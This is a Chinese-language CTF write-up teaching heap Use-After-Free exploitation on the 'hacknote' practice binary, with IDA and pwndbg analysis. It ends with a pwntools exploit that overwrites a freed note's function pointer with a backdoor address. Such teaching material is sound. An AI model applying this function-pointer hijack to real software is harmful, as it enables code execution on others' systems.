堆-UAF(Use After Free)

参考资料

1
2
https://www.yuque.com/cyberangel/rfg9gdm/lhsz9z#79UVl
https://blog.csdn.net/qq_41696518/article/details/125878437

原理

我们将Use After Free翻译过来就是释放后使用:当一个指针所指向的指针块被释放掉后可以被再次使用,但是这是有要求的,不妨将所有情况列举出来:

  • chunk被释放之后,其对应的指针未被设置成NULL,如果再次使用它,程序就会崩溃。
  • chunk被释放之后,其对应的的指针未被设置为NULL,但是它在下一次使用之前没有代码对这块内存进行修改,那么再次使用这个指针时程序很有可能正常运转
  • chunk被释放之后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存呢进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

在堆中User After Free一般指的是后两种漏洞,我们一般称为被释放后没有被设置为NULl的内存指针为dangling pointer(悬空指针、悬垂指针)。

1
未被初始化过的内存指针称为野指针

示例

1
2
3
链接:https://pan.baidu.com/s/1TLM8ZANekXuxFvSAAIC66A 
提取码:emxm
--来自百度网盘超级会员V3的分享

检查保护机制

image-20230721155416979

32位程序,开启了Canary和NX保护。

IDA静态分析

main函数

image-20230721161401499

add_note函数

image-20230721161435712

从这能得出两个个结构体

1
2
3
4
5
6
struct note{
void (*printnote)();//存放内容
char *content;//存储notelist指针
};

struct note *notelist[5];//存储notelist指针
del_note函数

image-20230721162121114

存在UAF漏洞

image-20230721162159619

image-20230721162246561

另外发现函数中存在magic函数,那么我们的目的就是想办法执行这个函数。

pwngdb动态调试

注意,这是32位程序,并非64位程序,它们的内存布局不相同。

创建两个Note

在gdb中运行程序,创建两个note,输入:

  • note1:size:20;content:note1
  • note2:size:30;content:note2

gdb信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from hacknote...(no debugging symbols found)...done.
pwndbg> r
Starting program: /root/CTF-PWN/UAF/hacknote
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :20
Content :note1
Success !
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :1
Note size :30
Content :note2
Success !
----------------------

然后ctrl+c进入调试模式,输入vmmap以查看内存布局情况:

image-20230721163719289

可以看到堆的起始地址为0x804b000,再查看一下bin的情况:

image-20230721163816496

查看堆中的内存:“x/30wx 0x804b000”

image-20230721165554468

1
2
3
4
5
6
7
8
9
pwndbg> x/30wx 0x804b000
0x804b000: 0x00000000 0x00000011 0x0804865b 0x0804b018
0x804b010: 0x00000000 0x00000019 0x65746f6e 0x00000a31
0x804b020: 0x00000000 0x00000000 0x00000000 0x00000011
0x804b030: 0x0804865b 0x0804b040 0x00000000 0x00000029
0x804b040: 0x65746f6e 0x00000a32 0x00000000 0x00000000
0x804b050: 0x00000000 0x00000000 0x00000000 0x00000000
0x804b060: 0x00000000 0x00020fa1 0x00000000 0x00000000
0x804b070: 0x00000000 0x00000000

0x804b000是note0_chunk的起始地址,0x0804b018指向content1

0x0804040指向content2

查看一下0x804865b地址的内容:

image-20230721170336030

指向的是print的地址,即puts(printf)函数的起始地址(借用下Cyberangel大佬的图):

img

还记得delete函数中存在着UAF漏洞

也就是说,在free掉内存并未将指针置空,如果在此后仍然使用notelist[idx](notelist[idx]->content)指针(未更改此片内存数据区域的数据),那么这个程序很大概率可以正常运行。因为有UAF漏洞和后门magic函数,因此可以将后门函数写入content,让该context覆盖8字节printf_note_content的地址。再打印该chunk的时候,从而执行后门函数。

删除两个note

delete note0和note1,详细信息如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> c
Continuing.
2
Index :0
Success
----------------------
HackNote
----------------------
1. Add note
2. Delete note
3. Print note
4. Exit
----------------------
Your choice :2
Index :1
Success
----------------------

image-20230721174801751

可以看到两个chunk都被回收到了fastbin中,假如说我们现在再次创建一个堆呢?

再次创建一个note

再次创建第三个堆:size=78;content=’magic’(用此字符串来代替magic函数的地址),可以看一下结果:

image-20230721181442741

上面图片的白色区域就是字符串’magic\x0a’的ASCII码。

从上图中可以看到,这里写入的”magic”字符串将其它地址覆盖了,不过不要担心,在执行payload时会写入magic函数的真实地址,不会将其它地址进行覆盖。由于我们覆盖的是printf函数的地址,在打印note0的信息时,就会执行system函数。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)


def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))


def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))


#gdb.attach(r)
magic = 0x08048986

addnote(20, "note1") # add note 0
addnote(30, "note2") # add note 1

delnote(0) # delete note 0
delnote(1) # delete note 1

addnote(8, p32(magic)) # add note 2

printnote(0) # print note 0

r.interactive()